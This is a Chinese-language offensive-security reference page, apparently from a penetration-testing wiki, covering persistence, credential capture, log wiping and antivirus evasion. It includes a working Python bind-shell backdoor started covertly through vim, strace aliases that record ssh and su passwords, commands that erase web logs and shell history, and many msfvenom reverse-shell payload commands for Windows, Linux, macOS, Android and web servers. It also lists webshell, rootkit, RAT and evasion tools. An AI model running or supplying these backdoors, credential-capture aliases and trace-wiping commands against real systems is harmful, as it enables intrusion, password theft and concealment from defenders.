此方法适用于安装了 vim 且安装了 python 扩展(绝大版本默认安装)的 linux 系统,至于恶意脚本 dir.py 的内容可以是任何功能的后门.如 python 版本的正向后门监听 11 端口.

检测有无扩展

vim --version | grep python

enter the mal script directory 、execute the script and then remove the script cd /usr/lib/python2.7/site-packages

vim dir.py
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

strace 后门

strace 记录 ssh 登录密码

注意 bash_profile 是在登录的 shell 执行的,bashrc 是在非登录的 shell 执行,即如果你只是想每次在登录的时候让它去执行,这个时候你可以把你的命令写在 .bash_profile,如果你想每次打开一个新的终端的时候都去执行,那么应该把命令写在 .bashrc 中.

alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 ssh'
# 也可记录 su 密码
alias su='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 su'

grep "read(3" /tmp/sshpwd-名字自己补全  | tail -n 11

预加载型动态链接库后门 ld.so.preload

在 linux 下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生 Hijack strace 命令 id 的时候可以发现有预先去读取 /etc/ld.so.preload 文件(也可使用设置 LD_PRELAOD 环境变量方式),如果我们将事先写好的恶意 so 文件位置写入 ld.so.preload 文件,这个时候就会达到"劫持"的效果.

比较好用的工具有 Vegile 和 cub3 等

进程注入

内核级 rootkit


痕迹清理

相关文章

相关工具

web 日志

如 access.log,error.log.使用 sed 进行定向清除

sed -i -e '/192.169.1.1/d'

history

  • 常用设置,使 linux 不记住执行命令

    unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
  • 清除历史操作命令

    history -c
  • 对 ~/.bash_history 进行定向清除

    # 查看 BASH 保留历史命令的条目
    cat /etc/profile | grep HISTSIZE
    vim /etc/profile
    
    # 保留最新执行的5条命令
    ++ HISTSIZE=5
  • 设置注销时删除命令记录

    cat /etc/skel/.bash_logout
    
    ++ rm -f $HOME/.bash_history
    
    # 这样,系统中的所有用户注销时都会删除其命令记录,如果只需要针对某个特定用户,,如 root 用户进行设置,则可只在该用户的主目录下修改 `/$HOME/.bash_history` 文件增加相同的一行即可.

C2-RAT

相关教程

相关文章

杀软速查

权限维持辅助工具

    • https://mp.weixin.qq.com/s/05kOFtfYu8au0oHdP1zLAg


Framework

  • https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0

  • CobaltStrike

  • Metasploit

  • merlin - Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

  • git clone https://github.com/Veil-Framework/Veil.git
    cd Veil/setup/
    ./setup.sh -c
    ./Veil.py
  • # 确保电脑里有 Go 环境
    git clone https://github.com/EgeBalci/HERCULES.git
    cd HERCULES
    wget -c https://github.com/fatih/color
    go get github.com/fatih/color
    go run Setup.go
    cp -rf /root/go/src/github.com /usr/lib/go-1.7/src/github.com
    cd SOURCE/
    go run HERCULES.go
  • unzip hyperion.zip
    cd hyperion/
    i586-mingw32msvc-g++ Src/Crypter/*.cpp -o hyperion.exe
    wine hyperion.exe shell.exe(之前用 msf 生成的文件) crypted.exe(混淆之后的文件)

msfvenom

msfvenom 可用于生成正向或反向 shell 的 payload,配合 meterpreter 使用进行渗透测试相当方便,不过在实际使用时,需要进行相应的免杀处理

查看

msfvenom -l [ payloads | encoders | nops | platforms | archs | encrypt | formats | all ]

连接

msfconsole
use exploit/multi/handler
set payload <payload-name>      # 例如 set payload windows/x64/meterpreter_reverse_tcp
set lhost <lhost>
set lport <lport>
set EnableStageEncoding false
set ExitOnSession false
exploit -j -z

binaries

linux

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f elf > shell.elf

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf

msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf

msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf-so -o payload.so

windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -f exe > ./vu.exe

msfvenom --payload windows/meterpreter/reverse_tcp LHOST=********* LPORT=8080 -f exe --platform windows --arch x86 -e x86/shikata_ga_nai -i 10 > /var/www/html/update.exe

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll

mac

msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip  lport=your-port -f macho > shell.macho

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho

android

msfvenom -p android/meterpreter/shell_reverse_tcp lhost=your-ip  lport=your-port -f apk > shell.apk

web

php

msfvenom -p php/meterpreter_reverse_tcp lhost=your-ip lport=your-port -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

asp

msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f asp > shell.asp

Aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx

jsp

msfvenom -p java/jsp_shell_reverse_tcp lhost=your-ip lport=your-port -f raw > shell.jsp

war

msfvenom -p java/jsp_shell_reverse_tcp lhost=your-ip lport=your-port -f war > shell.war

javascript

msfvenom -p windows/shell_reverse_tcp lhost=your-ip lport=your-port -f js_le -e generic/none

msfvenom -p linux/x86/shell_reverse_tcp lhost=your-ip lport=your-port CMD=/bin/bash -f js_le -e generic/none

Nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js

scripting

python

msfvenom -p cmd/unix/reverse_python lhost=your-ip lport=your-port -f raw > shell.py
msfvenom -p python/shell_reverse_tcp lhost=your-ip lport=your-port -f raw

jar

msfvenom -p java/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f raw -o shell.jar

bash

msfvenom -p cmd/unix/reverse_bash lhost=your-ip lport=your-port -f raw > shell.sh

perl

msfvenom -p cmd/unix/reverse_perl lhost=your-ip lport=your-port -f raw > shell.pl

vbscript

msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port exitfunc=thread -f vbs -a x86 --platform windows > shell.vbs
C:\Documents and Settings\Administrator>cscript shell.vbs

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1

Ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb

Lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua

shellcode

linux based shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f <language>

windows based shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f <language>

mac based shellcode

msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip lport=your-port -f <language>

msfencode

msfvenom windows/shell_reverse_tcp lhost=your-ip lport=your-port R -e x86/shikata_ga_nai -t exe -c -9 -x /usr/share/windows-binaries/plink.exe(载体) -o ./shell.exe

Payload Generation

相关工具

Loader

相关文章

相关工具

  • C/C++

  • go

  • misc

进程注入

相关资源

Reflection Injection

相关资源

相关文章

Platform

各类平台的服务滥用

C2用途

文件分发

Serverless

  • AWS Lambda

  • Cloudflare Workers

  • 腾讯云 云函数SCF

工具开发

对抗

相关项目

相关资源

    • https://github.com/rad9800/WTSRM

相关文章

DLL 劫持

  • DLL 劫持

签名

相关文章

相关工具

虚拟化检测

相关项目

相关文章

    • https://github.com/Ast1rtes/check-virtual-machine

几种思路

  • 查询 I/O 通信端口

  • 通过 MAC 地址检测

  • CPUID 检测

  • 通过主板序列号、型号、系统盘所在磁盘名称等其他硬件信息

  • 特定进程检测

  • 注册表检测

  • 服务检测

  • 文件路径检测

  • 时间差检测

  • 内存大小

反调试

相关项目

Previous后渗透Next实验

- 入侵分析时发现的 Webshell 后门

- 一个 webshell 收集项目

- 绕过专业工具检测的 Webshell 研究文章和免杀的 Webshell

- 免杀 webshell 无限生成工具蚁剑版

- 这是一些常用的 webshell

- 分享 PHP 免杀大马

- the only php webshell you need.

- 收集 JSP Webshell 的各种姿势

- SpringBoot 持久化 WebShell

- 结合反射调用、Javac动态编译、ScriptEngine调用JS技术和各种代码混淆技巧的一款免杀JSP Webshell生成工具

- 冰蝎 哥斯拉 WebShell bypass

- .net 命令执行的webshell

- 通过正则匹配,查找后门 webshell

- AntSword Shell 脚本分享/示例

- AntSword 自定义编(解)码器分享

- 冰蝎

- 哥斯拉

- 天蝎

- tiny and obfuscated ASP.NET webshell for C# web applications

- 一个专用于爆破 webshell 的工具

- Tomcat 基于动态注册 Filter 的无文件 Webshell

- Tomcat 冰蝎内存马

- apache 权限维持后门

- a nginx backdoor provides shell access, socks5 tunneling, http password sniffing.

- 一款基于 Http.sys 的利用工具

- 创建一个克隆隐藏的管理员账号

- 影子用户 克隆

- 使用 windowsapi 添加用户,可用于 net 无法使用时

- Lsass NTLM Authentication Backdoor

- 进行克隆用户、添加用户等账户防护安全检测的轻巧工具

- 使用注册表创建隐藏帐户的工具

- 利用 EvtExportLog 修改指定的系统日志文件内容,修改成功后重新启动日志服务

- 用于从 Windows 事件日志中删除指定的记录

Windows Server 2008 需要安装 补丁才支持 DSRM 密码同步,Windows Server 2003不支持 DSRM 密码同步。

- Phantom attack is a collection of attacks that evade Linux system call monitoring. A user mode program does not need any special privileges or capabilities to reliably evade system call monitoring using Phantom attack by exploiting insecure tracing implementations.

read more

,这个工具使用了 LD_PRELOAD 和系统的扩展属性去隐藏文件.

其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门,通过替换或者修改动态链接器中的默认预加载配置文件 /etc/ld.so.preload 路径的 rootkit,此方法更加隐蔽,这个方法的较成熟的利用工具是

使用 ptrace 向进程中注入恶意 so 文件工具

如 mafix、

- 远控免杀系列文章及配套工具,汇总测试了互联网上的几十种免杀工具、113种白名单免杀方式、8种代码编译免杀、若干免杀实战技术,并对免杀效果进行了一一测试,为远控的免杀和杀软对抗免杀提供参考。

- Windows杀软在线对比辅助

- 逐个查询对应杀软厂商名称

- This is a daemon process which make a programe runing all time.

- 多功能Windows机器运维管理工具

- Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python

- Adversary Emulation Framework

- Tiny SHell is an open-source UNIX backdoor.

- Tiny SHell Go - An open-source backdoor written in Go

- 用于 android 的 RAT

- 用于 iOS/macOS/Linux 的 RAT

- Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

- HERCULES is a special payload generator that can bypass antivirus softwares.

- linux 的后渗透框架,可用于权限维持、提权等操作,半图形化.实际测试感觉不太行。

- LKM Linux rootkit

- Linux/Windows post-exploitation framework made by linux user

- 基于区块链网络的匿名跨平台远控程序

- 远程 shellcode+RC4

- Some ways to inject a DLL into a alive process

- Notion as a platform for offensive operations

- Abusing VirusTotal API to host our C2 traffic, usefull for bypassing blocking firewall rules if VirusTotal is in the target white list , and in case you don't have C2 infrastructure , now you have a free one

- Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods

- Public malware techniques used in the wild: Virtual Machine, Emulation, Debuggers, Sandbox detection.

- Pafish is a testing tool that uses different techniques to detect virtual machines and malware analysis environments in the same way that malware families do

- Golang anti-vm framework for Red Team and Pentesters

- VMProtect 3.x Anti-debug Method Improved

JoyChou93/webshell
tennc/webshell
LandGrey/webshell-detect-bypass
yzddmr6/as_webshell_venom
backlion/webshell
S9MF/S9MF-php-webshell-bypass
oldkingcone/slopShell
threedr3am/JSP-Webshells
threedr3am/ZhouYu
EmYiQing/JSPHorse
czz1233/GBByPass
Ivan1ee/.NETWebShell
AntSwordProject/antSword: AntSword is a cross-platform website management toolkit.
AntSwordProject/AntSword-Loader: AntSword 加载器
virink/as_scanwebshell
AntSwordProject/AwesomeScript
AntSwordProject/AwesomeEncoder
记一次绕过宝塔防火墙的BC站渗透
负载均衡下的 WebShell 连接
rebeyond/Behinder: "冰蝎"动态二进制加密网站管理客户端
BeichenDream/Godzilla
admintony/BypassCaiDao: 过WAF菜刀
Chora10/Cknife: Cknife
epinna/weevely3: Weaponized web shell
shack2/skyscorpion
antonioCoco/SharPyShell
shmilylty/cheetah
Tomcat 源代码调试笔记 - 看不见的 Shell
基于内存 Webshell 的无文件攻击技术研究
利用“进程注入”实现无文件不死webshell
查杀Java web filter型内存马
z1Ro0/tomcat_nofile_webshell
ydnzol/memshell
ianxtianxt/apache-
t57root/pwnginx
ZhuriLab/Joker
Windows完美实现克隆用户的方法
你能找到我么?-- 隐藏用户建立(Powershell)
渗透技巧——Windows系统的帐户隐藏
绕过反病毒添加管理员用户小结
逃逸——当net命令被禁用
Ch1ngg/AggressorScript-CreateCloneHiddenAccount
An0nySec/ShadowUser
lengjibo/NetUser
kindtime/nosferatu
0x727/CloneX_0x727
wgpsec/CreateHiddenAccount
r4wd3r/Suborner
Suborner: A Windows Bribery for Invisible Persistence
内网渗透-权限维持
Detection and recovery of NSA’s covered up tracks
闲聊Windows系统日志
Windows XML Event Log (EVTX)单条日志清除(一)——删除思路与实例
Windows XML Event Log (EVTX)单条日志清除(二)——程序实现删除evtx文件的单条日志记录
Windows XML Event Log (EVTX)单条日志清除(三)——通过解除文件占用删除当前系统单条日志记录
Windows XML Event Log (EVTX)单条日志清除(四)——通过注入获取日志文件句柄删除当前系统单条日志记录
Windows XML Event Log (EVTX)单条日志清除(五)——通过DuplicateHandle获取日志文件句柄删除当前系统单条日志记录
3gstudent/Eventlogedit-evtx--Evolution
3gstudent/Eventlogedit-evt--General
QAX-A-Team/EventCleaner
codewhitesec/SysmonEnte
我所了解的内网渗透——内网渗透知识大总结
巧用DSRM密码同步将域控权限持久化
DS Restore Mode Password Maintenance
Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM)
Sneaky Active Directory Persistence #13: DSRM Persistence v2
KB961320
Sneaky Active Directory Persistence #14: SID History
Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights
BadGPO:组策略对象在持久化及横向渗透中的应用
Sneaky Active Directory Persistence #17: Group Policy
浅析域渗透中的组策略利用
域渗透——Hook PasswordChangeNotify
维持域管权限的一些简单办法[Hook PasswordChangeNotify]
DCShadow:一种新型AD攻击技术
基于AD Event日志识别DCShadow攻击
域渗透:DCShadow攻击与利用
yrutschle/sslh
liamg/siphon
Screetsec/Vegile
rexguowork/phantom-attack
linux常见backdoor及排查技术
Linux后门整理合集
Linux基础软件威胁疑云:从已知到“未知”
[DARK] Weapons of Text Destruction
cub3
Vlany
linux-inject
Diamorphine
开小灶:隐藏bash历史命令的小技巧
Ubuntu bash不记录history方法
Macr0phag3/LLC
TideSec/BypassAntiVirus
Shellcode 杀软对抗实战(启航篇)
r00tSe7en/get_AV
gh0stkey/avList
PDWR/3vilGu4rd
TheKingOfDuck/Loki-bot
n1nj4sec/pupy
BishopFox/sliver
orangetw/tsh
CykuTW/tsh-go
trustedsec/trevorc2
AhMyth/AhMyth-Android-RAT
neoneggplant/EggShell
Veil
HERCULES
ASWCrypter
Shellter
foolav
hyperion
d4rk007/RedGhost
f0rb1dd3n/Reptile
jm33-m0/emp3r0r
Maka8ka/NGLite
HavocFramework/Havoc
mdsecactivebreach/CACTUSTORCH
mdsecactivebreach/SharpShooter
tyranid/DotNetToJScript
TheWover/donut
KINGSABRI/DotNetToJScriptMini
CS免杀-Shellcode Loader原理(python)
CS免杀-环境和编码补充(python)
利用加载器以及Python反序列化绕过AV
利用Python反序列化运行加载器实现免杀
shellcode加载总结
从剖析CS木马生成到开发免杀工具
knownsec/shellcodeloader
clinicallyinane/shellcode_launcher
DimopoulosElias/SimpleShellcodeInjector
lengjibo/FourEye
1y0n/AV_Evasion_Tool
brimstone/go-shellcode
Gality369/CS-Loader
Arno0x/ShellcodeWrapper
sud01oo/ProcessInjection
stephenfewer/ReflectiveDLLInjection
深入理解反射式dll注入技术
mttaggart/OffensiveNotion
D1rkMtr/VirusTotalC2
利用NPM仓库充当文件托管服务
汇编万岁之1KB的downloader
optiv/Freeze
echtdefault/Janus
Writing Tiny, Efficient, And Reliable Malware by Rad Kawar
回忆杀-特征码免杀
CobaltStrike与免杀初探
The difference between signature-based and behavioural detections
SigFlip:将数据隐写到已签名的PE文件上
识别SigFlip生成的恶意文件
Tylous/Limelighter
secretsquirrel/SigThief
med0x2e/SigFlip
LordNoteworthy/al-khaser
a0rtega/pafish
p3tr0v/chacal
虚拟化平台检测
浅谈VMware环境去虚拟化
[原创]虚拟机检测技术剖析
攻击技术研判 | 改进的反虚拟机反调试技术
strivexjun/XAntiDebug